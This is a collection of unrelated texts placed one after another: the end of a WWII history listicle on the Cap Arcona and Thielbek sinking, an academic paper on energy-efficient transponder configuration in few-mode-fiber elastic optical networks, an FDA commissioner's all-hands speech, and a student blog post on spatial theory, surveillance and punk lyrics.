Interesting Fact: Winston Churchill immediately hid the news from the public, thinking that to reveal the truth would have been too damaging for civilian morale. He said, ‘The newspapers have got quite enough disaster for today, at least.’ You can watch a tribute to the Lancastria here.
1 Worst Friendly-Fire Incident
Sealed Until: 2045
This is just a heart a wrenching tragedy with a great loss of life, but it remains just a little-known chapter of World War II history, and rarely appears in history books. It happened on May 3, 1945, four days after Hitler’s suicide, and four days before the unconditional German surrender. After enduring years of Nazi brutality, thousands of concentration camp prisoners were loaded on to two German ships in Lubeck Bay, the Cap Arcona and the Thielbek. The British Air Force commanders ordered a strike on the ships, thinking they carried escaping SS officers, possibly fleeing to German-controlled Norway. The British Typhoon fighter-bombers struck in several attack waves. The Thielbek, packed with 2,800 prisoners, sank in just 20 minutes, killing all but 50 prisoners. The Cap Arcona carrying 4,500 prisoners took longer to go under, and many inmates burned to death. In less than two hours, more than 7,000 concentration camp refugees were dead. Some believe the Nazis intended to sink the ships at sea, to kill everyone on board. Another unlikely scenario is the British intelligence may have known who was on the ships and it would explain why the Royal Air Force sealed the records for 100 years.
Interesting Fact: For weeks after the sinking, bodies of the victims were being washed ashore, and were collected and buried in a single mass grave at Neustadt in Holstein. For nearly thirty years, parts of skeletons were being washed ashore, until the last find, by a twelve-year-old boy, in 1971. |
---
abstract: 'We propose an energy-efficient procedure for transponder configuration in FMF-based elastic optical networks in which quality of service and physical constraints are guaranteed and joint optimization of transmit optical power, temporal, spatial and spectral variables are addressed. We use geometric convexification techniques to provide convex representations for quality of service, transponder power consumption and transponder configuration problem. Simulation results show that our convex formulation is considerably faster than its mixed-integer nonlinear counterpart and its ability to optimize transmit optical power reduces total transponder power consumption up to $32\%$. We also analyze the effect of mode coupling and number of available modes on power consumption of different network elements.'
author:
- 'Mohammad Hadi, and Mohammad Reza Pakravan, '
bibliography:
- 'Reference.bib'
title: 'Energy-Efficient Transponder Configuration for FMF-based Elastic Optical Networks'
---
Convex optimization, Green communication, Elastic optical networks, Few-mode fibers, Mode coupling.
Introduction {#sec_I}
============
temporally, spectrally and spatially Elastic Optical Network (EON) has been widely acknowledged as the next generation high capacity transport system and the optical society has focused on its architecture and network resource allocation techniques [@proietti20153d]. EONs can provide an energy-efficient network configuration by adaptive 3D resource allocation according to the communication demands and physical conditions. Higher energy efficiency of Orthogonal Frequency Division Multiplex (OFDM) signaling has been reported in [@khodakarami2014flexible] which nominates OFDM as the main technology for resource provisioning over 2D resources of time and spectrum. On the other hand, enabling technologies such as Few-Mode Fibers (FMFs) and Multi-Core Fibers (MCFs) have been used to increase network capacity and efficiency through resource allocation over spatial dimension [@saridis2015survey; @proietti20153d]. Although many variants of algorithms have been proposed for resource allocation in 1D/2D EONs [@chatterjee2015routing], joint assignment of temporal, spectral and spatial resources in 3D EONs needs much research and study. Among the available works on 3D EONs, a few of them have focused on energy-efficiency which is a fundamental requirement of the future optical networks [@muhammad2015resource; @winzer2011energy; @yan2017joint]. Moreover, the available energy-efficient 3D approaches do not consider transmit optical power as an optimization variable which results in inefficient network provisioning [@hadi2017energy].
Flexible resource allocation is an NP-hard problem and it is usually decomposed into several sub-problems with lower complexity [@khodakarami2016quality]. Following this approach, we decompose the resource allocation problem into 1) Routing and Ordering Sub-problem (ROS) and 2) Transponder Configuration Sub-problem (TCS) and mainly focus on TCS which is more complex and time-consuming [@yan2015resource; @hadi2017resource]. We consider FMF because it has simple amplifier structure, easier fusion process, lower nonlinear effects and lower manufacturing cost compared to other Space-Division Multiplexed (SDM) optical fibers [@saridis2015survey; @ho2013mode]. In TCS, we optimally configure transponder parameters such as modulation level, number of sub-carriers, coding rate, transmit optical power, number of active modes and central frequency such that total transponders power consumption is minimized while Quality of Service (QoS) and physical constraints are met. Unlike the conventional approach, we provide convex expressions for transponder power consumption and Optical Signal to Noise Ratio (OSNR), as an indicator of QoS. We then use the results to formulate TCS as a convex optimization problem which can efficiently be solved using fast convex optimization algorithms. We consider transmit optical power as an optimization variable and show that it has an important impact on total transponder power consumption. Simulation results show that our convex formulation can be solved almost $20$ times faster than its Mixed-Integer NonLinear Program (MINLP) counterpart. Optimizing transmit optical power also improves total transponder power consumption by a factor of $32\%$ for European Cost239 optical network with aggregate traffic $60$ Tbps. We analyze the effect of mode coupling on power consumption of the different network elements. As simulation results show, total network power consumption can be reduced more than $50\%$ using strongly-coupled FMFs rather than weakly-coupled ones. Numerical outcomes also demonstrate that increasing the number of available modes in FMFs provides a trade-off between FFT and DSP power consumption such that the overall transponder power consumption is a descending function of the number of available modes.
System Model {#Sec_II}
============
Consider a coherent optical communication network characterized by topology graph $G(\mathbf{V}, \mathbf{L})$ where $\mathbf{V}$ and $\mathbf{L}$ are the sets of optical nodes and directional optical strongly-coupled FMF links, respectively. The optical FMFs have $\mathcal{M}$ modes and gridless bandwidth $\mathcal{B}$. $\mathbf{Q}$ is the set of connection requests and $\mathbf{Q}_l$ shows the set of requests sharing FMF $l$ on their routes. Each request $q$ is assigned a contiguous bandwidth $\Delta_q$ around carrier frequency $\omega_q$ and modulates $m_q$ modes of its available $\mathcal{M}$ modes. The assigned contiguous bandwidth includes $2^{b_q}$ OFDM sub-carriers with sub-carrier space of $\mathcal{F}$ so, $\Delta_q=2^{b_q}\mathcal{F}$. To have a feasible MIMO processing, the remaining unused modes of a request cannot be shared among others [@ho2013mode]. We assume that the assigned bandwidths are continuous over their routes to remove the high cost of spectrum/mode conversion [@spectrum2017hadi]. Request $q$ passes $\mathcal{N}_q$ fiber spans along its path and has $\mathcal{N}_{q,i}$ shared spans with request $i\neq q$. Each FMF span has fixed length of $\mathcal{L}_{spn}$ and an optical amplifier to compensate for its attenuation. There are pre-defined modulation levels $c$ and coding rates $r$ where each pair of $(c, r)$ requires minimum OSNR $\Theta(c, r)$ to get a pre-FEC BER value of $1\times 10^{-4}$ [@yan2015resource]. Each transponder is given modulation level $c_q$, coding rate $r_q$ and injects optical power $p_q/m_q$ to each active mode of each polarization. Chromatic dispersion and mode coupling signal broadenings are respectively proportional to $\mathcal{N}_q2^{b_q}$ and $m_q^{-0.78}\sqrt{\mathcal{N}_q}$ with coefficients $\sigma=2\pi\abs{\beta_2}\mathcal{F}\mathcal{L}_{spn}$ and $\varrho=5\Delta\beta_1 \sqrt{L_{sec}\mathcal{L}_{spn}}$ where $\beta_2$ is chromatic dispersion factor and $\Delta\beta_1 \sqrt{L_{sec}}$ is the product of rms uncoupled group delay spread and section length [@arik2014adaptive]. Transponders add a sufficient cyclic prefix to each OFMD symbol to resolve the signal broadening induced by mode coupling and chromatic dispersion. Transponders have maximum information bit rate $\mathcal{C}$. There is also a guard band $\mathcal{G}$ between any two adjacent requests on a link. Considering the architecture of Fig. \[fig:transponder\], the power consumption of each pair of transmit and receive transponders $P_q$ can be calculated as follows: $$\begin{aligned}
\label{eq:trx_pow}
P_q = \mathcal{P}_{trb}+2\mathcal{P}_{edc}m_qr_q^{-1}+2m_q2^{b_q}b_q\mathcal{P}_{fft}+2m_q^22^{b_q}\mathcal{P}_{dsp}\end{aligned}$$ where $\mathcal{P}_{trb}$ is transmit and receive transponder bias term, $\mathcal{P}_{edc}$ is the scaling coefficient of encoder and decoder power consumptions, $\mathcal{P}_{fft}$ denotes the power consumption for a two point FFT operation and $\mathcal{P}_{dsp}$ is the power consumption scaling coefficient of the receiver DSP and MIMO operations [@ho2013mode; @khodakarami2014flexible].
To have a green EON, we need a resource allocation algorithm to determine the values of system model variables such that the transponders consume the minimum power while physical constrains are satisfied and desired levels of OSNR are guaranteed. In general, such a problem is modeled as an NP-hard MINLP optimization problem [@yan2015resource]. To simplify the problem and provide a fast-achievable near-optimum solution, the resource allocation problem is usually decomposed into two sub-problems: ROS, where the routing and ordering of requests on each link are defined, and 2) TCS, where transponders are configured. Usually the search for a near optimal solution involves iterations between these two sub-problems. To save this iteration time, it is of great interest to hold the running time of each sub-problem at its minimum value. In this work, we mainly focus on TCS which is the most time-consuming sub-problem and formulate it as a convex problem to benefit from fast convex optimization algorithms. For a complete study of ROS, one can refer to [@hadi2017energy; @hadi2017resource].
Transponder Configuartion Problem {#Sec_III}
=================================
A MINLP formulation for TCS is as follows: $$\begin{aligned}
&\hspace{-1.5mm}\min_{\mathbf{c}, \mathbf{b}, \mathbf{r}, \mathbf{p},\mathbf{m}, \bm{\omega}} \quad \sum\limits_{q \in \mathbf{Q}}P_q\label{eq:nonlinear_g}\\
&\hspace{-1.5mm}\text{s.t.} \quad \Psi_q \geqslant \Theta_q, \forall q \in \mathbf{Q} \label{eq:nonlinear_c1}\\
& \hspace{-1.5mm} \omega_{\Upsilon_{l, j}}+\frac{\Delta_{\Upsilon_{l, j}}+\Delta_{\Upsilon_{l, j+1}}}{2} + \mathcal{G}\leqslant \omega_{\Upsilon_{l, j+1}}, \forall l \in \mathbf{L}, \forall j \in \mathbf{M}_{1}^{\abs{\mathbf{Q}_l}} \label{eq:nonlinear_c2}\\
&\hspace{-1.5mm}\frac{\Delta_q}{2} \leqslant \omega_q \leqslant \mathcal{B}- \frac{\Delta_q}{2}, \forall q \in \mathbf{Q}\label{eq:nonlinear_c3}\\
& \hspace{-1.5mm}\mathcal{R}_q \leqslant \frac{2\mathcal{F}^{-1}m_qr_q c_q\Delta_q}{\mathcal{F}^{-1}+\sigma\mathcal{N}_{q}2^{b_q}+\varrho m_q^{-0.78}\sqrt{\mathcal{N}_{q}}}, \forall q \in \mathbf{Q} \label{eq:nonlinear_c4}\end{aligned}$$ where $\mathbf{c}$, $\mathbf{b}$, $\mathbf{r}$, $\mathbf{p}$, $\mathbf{m}$ and $\bm{\omega}$ are variable vectors of transponder configuration parameters [*i*.*e*. ]{}modulation level, number of sub-carriers, coding rate, transmit optical power, number of active modes and central frequency. $\mathbf{M}_{a}^{b}$ shows the set of integer numbers $\{a, a+1, \cdots, b-1\}$. The goal is to minimize the total transponder power consumption where $P_q$ is obtained using . Constraint is the QoS constraint that forces OSNR $\Psi_q$ to be greater than its required minimum threshold $\Theta_q$. $\Psi_q$ is a nonlinear function of $\mathbf{b}$, $\mathbf{p}$, $\mathbf{m}$ and $\bm{\omega}$ while the value of $\Theta_q$ is related to $r_q$ and $c_q$ [@hadi2017resource; @yan2017joint]. Constraint is nonoverlapping-guard constraint that prevents two requests from sharing the same frequency spectrum. $\Upsilon_{l, j}$ is a function that shows which request occupies $j$-th assigned spectrum bandwidth on link $l$ and its values are determined by solving ROS [@hadi2017resource; @yan2017joint]. Constraint holds all assigned central frequencies within the acceptable range of the fiber spectrum. The last constraint guarantees that the transponder can convey the input traffic rate $\mathcal{R}_q$ in which wasted cyclic prefix times are considered.
Generally, this problem is a complex MINLP which is NP-hard and cannot easily be solved in a reasonable time. Therefore, we use geometric convexification techniques to convert this MINLP to a mixed-integer convex optimization problem and then use relaxation method to solve it. To have a convex problem, we first provide a generalized posynomial expression [@boyd2007tutorial] for the optimization and then define a variable change to convexify the problem. A posynomial expression for OSNR of a request in 2D EONs has been proposed in [@hadi2017resource]. We simply consider each active mode as an independent source of nonlinearity and incoherently add all the interferences [@yan2015resource]. Therefore the extended version of the posynomial OSNR expression is: $$\begin{aligned}
\label{eq:xci_app}
\hspace{-3 mm}\Psi_q= \frac{p_q/m_q}{\zeta \mathcal{N}_q\Delta_q+\kappa_1\varsigma \frac{p_q}{m_q}\sum\limits_{\substack{i \in \mathbf{Q}, q \neq i}}m_i(\frac{p_i}{m_i})^2\mathcal{N}_{q,i}/\Delta_i/d_{q,i}}, \forall q \in \mathbf{Q}\end{aligned}$$ where $\kappa_1=0.4343$, $\zeta=(e^{\alpha \mathcal{L}_{spn}}-1)h\nu n_{sp}$ and $\varsigma=\frac{3\gamma^2}{2\alpha\pi\abs{\beta_2}}$. $n_{sp}$ is the spontaneous emission factor, $\nu$ is the light frequency, $h$ is Planck’s constant, $\alpha$ is attenuation coefficient, $\beta_2$ is dispersion factor and $\gamma$ is nonlinear constant. Furthermore, $d_{q,i}$ is the distance between carrier frequencies $\omega_q$ and $\omega_i$ and equals to $d_{q,i} = \abs{\omega_q-\omega_i}$. We use $\Theta_q \approx r_q^{\kappa_2}(1+\kappa_3 c_q)^{\kappa_4}$ for posynomial curve fitting of OSNR threshold values where $\kappa_2=3.37$, $\kappa_3=0.21$, $\kappa_4=5.73$ [@hadi2017energy]. Following the same approach as [@hadi2017resource], we arrive at this new representation of the optimization problem: $$\begin{aligned}
&\hspace{-1.5mm} \min_{\mathbf{c}, \mathbf{b}, \mathbf{r}, \mathbf{p}, \mathbf{m}, \bm{\omega}, \mathbf{t}, \mathbf{d}} \quad \sum\limits_{q \in \mathbf{Q}}P_{q}+\mathcal{K}\sum\limits_{\substack{q,i \in \mathbf{Q}\\q \neq i, \mathcal{N}_{q,i} \neq 0}}d_{q,i}^{-1}\label{eq:gp_1_g}\\
\nonumber &\hspace{-1.5mm} \text{s.t.} \quad r_{q}^{\kappa_2} t_{q}^{\kappa_4}\Big[\zeta\mathcal{F}\mathcal{N}_{q}m_qp_{q}^{-1}2^{b_{q}}+ \kappa_1\varsigma\mathcal{F}^{-1}\sum\limits_{i \in \mathbf{Q}, i \neq q}\mathcal{N}_{q,i}p_{i}^{2}m_i^{-1}2^{-b_{i}} \\
& \hspace{-1.5mm} d_{q,i}^{-1}\Big]\leqslant 1 , \forall q \in \mathbf{Q} \label{eq:gp_1_c1} \\
\nonumber & \hspace{-1.5mm} \omega_{\Upsilon_{l, j}}+0.5\mathcal{F}2^{b_{\Upsilon_{l, j}}} +\mathcal{G}+ 0.5\mathcal{F}2^{b_{\Upsilon_{l, j+1}}}\leqslant \omega_{\Upsilon_{l, j+1}}, \forall l \in \mathbf{L}\\
& \hspace{-1.5mm} ,\forall j \in \mathbf{M}_{1}^{\abs{\mathbf{Q}_l}} \label{eq:gp_1_c2}\\
& \hspace{-1.5mm} 0.5\mathcal{F}2^{b_q} + \omega_{q} \leqslant \mathcal{B}, \forall q \in \mathbf{Q} \label{eq:gp_1_c3} \\
& \hspace{-1.5mm} 0.5\mathcal{F}2^{b_q} \leqslant \omega_{q}, \forall q \in \mathbf{Q}\label{eq:gp_1_c4} \\
\nonumber & \hspace{-1.5mm} 0.5\mathcal{R}_q\mathcal{F}^{-1} r_{q}^{-1} c_{q}^{-1}m_q^{-1} 2^{-b_{q}}+ 0.5 \sigma \mathcal{N}_q \mathcal{R}_{q} m_q^{-1}r_{q}^{-1} c_{q}^{-1}\\
& \hspace{-1.5mm} +0.5 \varrho \sqrt{\mathcal{N}_q} \mathcal{R}_qr_{q}^{-1} c_{q}^{-1}m_q^{-1.78} 2^{-b_{q}}\leqslant 1, \forall q \in \mathbf{Q}\label{eq:gp_1_c5} \\
& \hspace{-1.5mm} 1+\kappa_3c_{q} \leqslant t_{q}, \forall q \in \mathbf{Q} \label{eq:gp_1_c6} \\
& \hspace{-1.5mm} d_{\Upsilon_{l, i},\Upsilon_{l, j}} + \omega_{\Upsilon_{l, j}}\leqslant \omega_{\Upsilon_{l, i}}, \forall l \in \mathbf{L},\forall j \in \mathbf{M}_{1}^{\abs{\mathbf{Q}_l}},\forall i \in \mathbf{M}_{j+1}^{\abs{\mathbf{Q}_l}+1} \label{eq:gp_1_c7} \\
& \hspace{-1.5mm} d_{\Upsilon_{l, i},\Upsilon_{l, j}}+\omega_{\Upsilon_{l, i}} \leqslant \omega_{\Upsilon_{l, j}} , \forall l \in \mathbf{L},\forall j \in \mathbf{M}_{2}^{\abs{\mathbf{Q}_l}+1}, \forall i \in \mathbf{M}_{1}^{j} \label{eq:gp_1_c8} \end{aligned}$$ Ignoring constraints , , and the penalty term of the goal function , the above formulation is equivalent geometric program of the previous MINLP in which expressions and the mentioned posynomial curve fitting have been used for QoS constraint . Constraints and and the penalty term are added to guarantee the implicit equality of $d_{q,i} = \abs{\omega_{q}-\omega_{i}}$ [@hadi2017resource]. Constraint is also needed to convert the generalized posynomial QoS constraint to a valid geometric expression, as explained in [@boyd2007tutorial]. Now, consider the following variable change: $$\begin{aligned}
\label{eq:vc}
x=e^{X}:x \in \mathbb{R}_{>0} \longrightarrow X \in \mathbb{R}, \forall x \notin \mathbf{b}\end{aligned}$$ Applying this variable change to the goal function (which is the most difficult part of the variable change), we have: $$\begin{aligned}
\label{eq:cv_g}
\nonumber & \sum\limits_{q \in \mathbf{Q}} [\mathcal{P}_{trb}+2\mathcal{P}_{edc}e^{m_q-r_q}+5.36e^{0.82b_q+m_q}\mathcal{P}_{fft}+ 2e^{2m_q}2^{b_q}\mathcal{P}_{dsp}]\\
& +\mathcal{K}\sum\limits_{\substack{q,i\in \mathbf{Q}, q \neq i, \mathcal{N}_{q,i} \neq 0}}e^{-d_{q,i}}\end{aligned}$$ Clearly, $e^{-d_{q,i}}$, $e^{m_q-r_q}$ and $e^{2m_q}2^{b_q}$ are convex over variable domain. We use expression $5.36e^{0.82b_q+m_q}$ to provide a convex approximation for the remaining term $2e^{m_q}b_q2^{b_q}$. The approximation relative error is less than $3\%$ for practical values of $m_q \geqslant 1$ and $4 \leqslant b_q \leqslant 11$. Consequently, function which is a nonnegative weighted sum of convex functions is also convex. The same statement (without any approximation) can be applied to show the convexity of the constraints under variable change of (for some constraints, we need to apply an extra $\log$ to both sides of the inequality). To solve this problem, a relaxed continuous version of the proposed mixed-integer convex formulation is iteratively optimized in a loop [@boyd2007tutorial]. At each epoch, the continuous convex optimization is solved and obtained values for relaxed integer variables are rounded by a given precision. Then, we fix the acceptable rounded variables and solve the relaxed continuous convex problem again. The loop continues untill all the integer variables have valid values. The number of iterations is at most equal to (in practice, is usually less than) the number of integer variables. Furthermore, a simpler problem should be solved as the number of iteration increases because some of the integer variables are fixed during each loop.
Numerical Results {#Sec_VI}
=================
In this section, we use simulation results to demonstrate the performance of the convex formulation for TCS. The European Cost239 optical network is considered with the topology and traffic matrix given in [@khodakarami2014flexible]. Simulation constant parameters are $\abs{\beta_2}=20393$ $\text{fs}^2/\text{m}$ , $\alpha=0.22$ dB/km, $\mathcal{L}_{spn}=80$ km, $\nu=193.55$ THz, $n_{sp}=1.58$, $\gamma=1.3$ $1/\text{W/km}$, $\mathcal{F}=80$ MHz, $\varrho=113$ ps, $\sigma=14$ fs, $\mathcal{G}=20$ GHz, $\mathcal{B}=2$ THz, $\mathcal{P}_{trb}=36$ W, $\mathcal{P}_{edc}=3.2$ W, $\mathcal{P}_{fft}=4$ mW, $\mathcal{P}_{dsp}=3$ mW [@khodakarami2014flexible; @arik2014adaptive]. We use MATLAB, YALMIP and CVX software packages for programming, modeling and optimization.
The total power consumption of different network elements in terms of aggregate traffic with and without adaptive transmit optical power assignment has been reported in Fig. \[fig:powerAdapt\]. We have used the proposed approach of [@gao2012analytical] for fixed assignment of transmit optical power. Clearly, for all the elements, the total power consumption is approximately a linear function of aggregate traffic but the slope of the lines are lower when transmit optical powers are adaptively assigned. As an example, adaptive transmit optical power assignment improves total transponder power consumption by a factor of $32\%$ for aggregate traffic of $60$ Tbps. Fig. \[fig:modeAdapt\] shows total power consumption of different network elements versus number of available modes $\mathcal{M}$ in FMFs. The power consumption values are normalized to their corresponding values for the scenario with single mode fibers [*i*.*e*. ]{}$\mathcal{M}=1$. As $\mathcal{M}$ increases, the amount of transponder power consumption decreases but there is no considerable gain for $\mathcal{M} > 5$. Moreover, there is a tradeoff between DSP and FFT power consumption such that the overall transponder power consumption is a decreasing function of the number of available modes. Fig. \[fig:fmfAssignment\] shows power consumption of different network elements in terms of aggregate traffic for strongly- and weakly-coupled FMFs. Obviously, total transponder power consumption is considerably reduced for strongly-coupled FMFs (in which group delay spread is proportional to square root of path lengths) in comparison to weakly-coupled FMFs (in which group delay spread is proportional to path lengths). This is the same as the results published in [@ho2013mode]. As an example, improvement can be more than $50\%$ for aggregate traffic of $60$ Tbps. Numerical outcomes also show that our convex formulation can be more than $20$ times faster than its mixed-integer nonlinear counterpart which is compatible with the results reported in [@hadi2017energy].
Conclusion {#Sec_VII}
==========
Energy-efficient resource allocation and quality of service provisioning is the fundamental problem of green 3D FMF-based elastic optical networks. In this paper, we decompose the resource allocation problem into two sub-problems for routing and traffic ordering, and transponder configuration. We mainly focus on transponder configuration sub-problem and provide a convex formulation in which joint optimization of temporal, spectral and spatial resources along with optical transmit power are considered. Simulation results show that our formulation is considerably faster than its mixed-integer nonlinear counterpart and its ability to optimize transmit optical power can improve total transponder power consumption up to $32\%$. We demonstrate that there is a tradeoff between DSP and FFT power consumptions as the number of modes in FMFs increases but the overall transponder power consumption is a descending function of the number of available modes. We also calculate the power consumption of different network elements and show that strongly-coupled FMFs reduce the power consumption of these elements.
|
Speech by Scott Gottlieb, M.D.
Leadership Role Commissioner of Food and Drugs - Food and Drug Administration
Remarks by Scott Gottlieb, M.D.
FDA All Hands Meeting
Silver Spring, MD
It’s an honor to be here today, and to be taking on this responsibility with all of you.
You realize how special our mission of consumer protection and public health promotion is when you explain what we do to the children in our lives. My baby girl is four and my twin daughters are seven. Explaining my new job to them, I told them daddy’s going to be working with a lot of people who help make sure the medicine you take makes you feel better, and that the food you eat is safe.
I had the privilege to work at FDA as a senior advisor to Mark McClellan when he served as Commissioner. And then to return to FDA as a Deputy Commissioner. Through my two previous roles in the agency, I’ve had the pleasure to work with – and rely on the guidance of – many great senior career leaders of this agency.
I’m humbled now to have another opportunity for public service and to be working with all of you to advance FDA’s mission of consumer protection and public health promotion.
FDA always faces big challenges because of where it sits at the intersection of so many critical concerns. By virtue of the fact that people’s lives – quite literally – depend on what we do. Patient and consumer protection are at the heart of what we do. And I believe deeply in that fundamental mission of this agency.
FDA has a proud tradition of leaders who’ve dedicated themselves to the agency’s special mission. And Dr. Steve Ostroff stands high on that list. Two times Dr. Ostroff has stepped up to the challenge of leading FDA through periods of transition. Each time, he continued to advance the agency’s public health prerogatives and uphold its vital consumer mission. I look forward to continuing to rely on Dr. Ostroff’s experience and counsel. And, like all of you, I’m immensely grateful for his contributions.
Looking ahead, we sit at a time of great promise.
Among some of the reasons I’m so optimistic about our shared future are new scientific opportunities, like gene therapy and regenerative medicine that give us plausible hope that we might be able to actually cure many more diseases. And new medical devices that are empowering consumers, enabling them to be better informed about their health, and better stewards of their own medical care.
Scientific advances also give us better tools to do our regulatory work. Many of these tools and resources are being developed right here at FDA, in our labs, and at places like NCTR. Twenty-first century challenges require us to modernize how we do our own work to take advantage of advances that can help us better protect consumers and promote health by making the regulatory process, itself, more modern and efficient.
To these ends, we have an opportunity to greatly improve FDA’s primary and principal public health protection role through the Program Alignment being undertaken by the Office of Regulatory Affairs. As ORA’s mandate becomes more complex and more global, we look forward to achieving operational efficiencies that can improve our ability to fulfill our public health mission and protect consumers.
New authorities and resources, along with improvements in science, have given us better tools and prospects to do all of these things: to safeguard our foods and cosmetics, to improve nutrition, and to protect consumers and livestock from emerging threats like antimicrobial resistance.
Among these and many other opportunities, there’s probably no single intervention, or product we’re likely to create in the near future that can have as profound an impact on reducing illness and death from disease as our ability to increase the rate of decline in smoking.
We need to redouble efforts to help more smokers become tobacco-free. And, we need to have the science base to explore the potential to move current smokers – unable or unwilling to quit – to less harmful products, if they can’t quit altogether. At all times, we must protect kids from the dangers of tobacco use.
Alongside these and many other opportunities, we also have some challenges that require us to continue to work together and build on our progress and mission.
For one thing, too many consumers are priced out of the medicines they need. Now, I know FDA doesn’t play a direct role in drug pricing. But we still need to be taking meaningful steps to get more low cost alternatives to the market, to increase competition, and to give consumers more options. This is especially true when it comes to complex drugs and biosimilars.
We also need to take steps to make sure the generic drug process isn’t being inappropriately gamed to delay competition and disadvantage consumers. I hope to have much more to say on this topic in the coming weeks.
In other areas, Congress gave us a clear mandate to be forward-leaning when it comes to how we’ll evaluate safety and efficacy in view of emerging scientific insight and better analytical tools. Implementing the 21st Century Cures Act is a key priority. We need to make sure we’re taking steps to foster innovation and regulating areas of promising new technology in ways that don’t raise the cost of development or reduce innovation. We need to do all of these things without compromising our primary mandate to protect the public health.
When it comes to food safety, new authorities and resources, alongside the transformational work of the people of CFSAN, have visibly improved our programs to ensure the safety of food. I’m committed to working with the senior leadership of CFSAN, to get you the resources you need, to do the job that FSMA requires. I want to build on your successes in implementing the new food safety framework.
But unquestionably, our greatest immediate challenge is the problem of opioid abuse. This is a public health crisis of staggering human and economic proportion. The epidemic of opioid addiction is not a problem that FDA can solve alone. But we have an important role to play in reducing the rate of new abuse, and in giving health care providers the tools to reduce exposure to opioids to only clearly appropriate patients, so we can also help reduce the new cases of addiction. Addressing this tragedy is going to be one of my highest initial priorities.
Now, I know FDA has already taken many important steps to address the opioid crisis. But the epidemic has continued to grow. I’ll be working with FDA’s senior career leadership and in the coming weeks hope to have more to say on how we take even more forceful steps to address this crisis.
In tackling these and other issues, we need to always be risk-based in our work. We need to make sure we’re getting the most public health bang for our efforts and the resources that we’re entrusted with. I know we only have limited resources to do these hard tasks. And I also know, from my prior work at FDA, how much we accomplish with the limited tools and resources we have available to us.
We need to be patient-centric and science-based in everything we do. And, we must make sure that in all our efforts, we maintain the gold standard for regulatory science and independent, science-led decision-making, all led by a strong career workforce.
In my recent travels, meeting with many of the members of the Senate in the run-up to my confirmation, and talking with many leaders, who represent patients and providers, I know that your efforts are not taken for granted by the people I’ve met.
And they’re certainly not taken for granted by me.
You all are the heart and soul of this great agency. The work doesn’t get done without you. And while the public relies on your work in protecting them, it’s only by seeing your work from the inside that your dedication and sacrifice is so evident.
Some of you have told me in recent days that you feel this is a period of some uncertainty for FDA. But, I want you to know I wouldn’t have taken this job if I didn’t think there was a clear and historic opportunity for us to advance FDA’s mission, and to help Americans realize more opportunities from science and medicine.
Working together, I know that we’ll seize that opportunity.
One final thought in closing: A lot of people know what we do. Not as many people know why we do it. But I know why. And, I know you all know why.
It’s because Americans need us. They need to be safe. They need to have medicines and products that work. They need to have opportunities to improve their health.
People can’t live a life of dignity if they don’t have access to these opportunities – if they don’t have access to the consumer protections that we provide and the tools of public health. We do what we do to serve that larger societal purpose.
This isn’t like any other job. People need us. All of us. And I’m delighted to be a part of these efforts, and to be working with you. I look forward to meeting many of you in the days ahead, and working with all of you to fulfill FDA’s special mission. |
Considering tomorrow is the last day of spatial theory class, I figured it was about time to get around to posting curiosities that I’ve collected throughout the term but have otherwise forgotten to post or ran into technical difficulties with. I attempted to post a number of these last week, but for some reason WordPress decided to eat my post after it was submitted for review.
Since surveillance has been such a prevalent topic in our class, I figured some people might find this online journal useful. In my own studies, I’ve culled a great number of useful articles from this peer-reviewed, free-access journal, using them for both research and inspiration in terms of engaging surveillance studies. They are currently in a transition process, with newer articles on the new website, and back issues that have not been transferred yet remaining in the old one. Each issue is typically arranged around a particular topic of surveillance and includes research (sociological, psychological, political science, cultural studies, etc.), editorials, opinion pieces and even the occasional creative work.
As a starting-point for discussion in my group, I made a .zip file of all the articles I though were the most relevant to the Waterloo Watchmen initiative. You can download the files from the link below. Hopefully they might help others as to fill in any missing theory in their final paper.
This website combines new media and spatial mapping to provide a resource for community-run surveillance as well as counter-surveillance of policing. It employs the flexibility provided by the Internet to allow people to create a dynamic, flexible and collaborative representation of surveillance and crime in their area. This aggregation of surveillance data allows Oakland residents to have current and non-externally selected (i.e. not just what the news reports) understanding of crime in their area, allowing them to view crime patterns as they are associated with spaces. Moreover, exploiting the connectivity of new medias, the website provides for RSS feeds and alerts sent to people’s cell phones, giving them up to the minute information. While it certainly feeds into a Panoptic structure, it shows ownership of the Panopticon instead of mere subjection to it. It stands as an interesting representation in digital terms of how disciplinary societies function.
————
Jacques Derrida’s “Fear of Writing”
I thought that this video, while not about space, was incredibly appropriate for describing the feeling of writing the chora essay. Guessing how primary Derrida was to so many of our papers, thought it was rather appropriate. Hopefully few are experiencing such angst with our final paper. Good for a laugh at least.
————
Cursed’s “Into The Hive”
Since we began the first class talking about Le Corbusier, this song has been on my mind. Written by the as-of-recently defunct hardcore punk band Cursed, who are southern Ontario residents I might add, it appeared on their last album, “III”. While obviously some complexity is lost when words have to be yelled in the face of sweaty teenagers, I think Collohan’s lyrics here actually aptly engage with notions of how spatiality and architecture play a significant role in social hegemony, alienation and the extraction of economic capital. You’ll notice themes from Foucault and Marx here. But hey, we’re talking about an album that has another song called “Hegel’s Bastards.” These guys know their stuff.
As taken from the writer himself, all bizarre punctuation left in tact.
“Into The Hive
What i got, you need in. This is the future, son. Stake your claim, it’s almost gone. It’s gonna be beautiful, gonna reach the sky & more. There’s gold in them there walls. We’re tearing down all the neighborhoods, making room for designer skylines, so the lives in the underpass can be left in the dust by a whole new crowd. Units still available, primed for success. Your life in 500 square feet or less. And it’s self-contained. And it’s all the same. And only steps away from a city that you’ll never see, And every ugly abomination that the billboard never mentioned but whose problem, whose life, whose city is that? Show me a man with that much faith in concrete and I’ll show you every self-starter that ever put torch to building. Every towering inferno lying in wait. Show me your city plans, I’ll show you angry hands Selling the urban dream one locked door at a time. And this is what Air Conditioned Nightmares are made of, The architecture of isolation. What i got, you need in. This is the future, son. Stake your claim, it’s almost gone. It’s gonna be beautiful, gonna reach the sky & more. There’s gold in them there walls. Compartmentalized. Headlong into the hive. City plans that eat you alive.”
However, defunct or not, I would still encourage you to purchase the album if you enjoy it. These guys had a rough go of it when they were together, despite widespread respect within the hardcore scene.
————
Finally, continuing the intersection of theories from our class and music, I thought I should share one final curiosity. Having scoured the Internet for electronic copies of Sadie Plant’s work, I was unsuccessful. However, what I did find, and what I feel compelled to share here so that it is not lost to the Internet ether is an interesting and often funny lecture delivered by Plant in the 1990’s about Situationism and its connection to techno music culture in England.
I came across an extremely neat map today in the New Yorker which has finally put psychogeography in a relatable perspective for me – a literary map of my hometown, St. Petersburg, Russia, made up entirely of the words of its poets and writers, many of them embedded in my mind and my understanding of the city:
(perhaps my favourite quote, upper left – “the most abstract and artificial city in the world”)
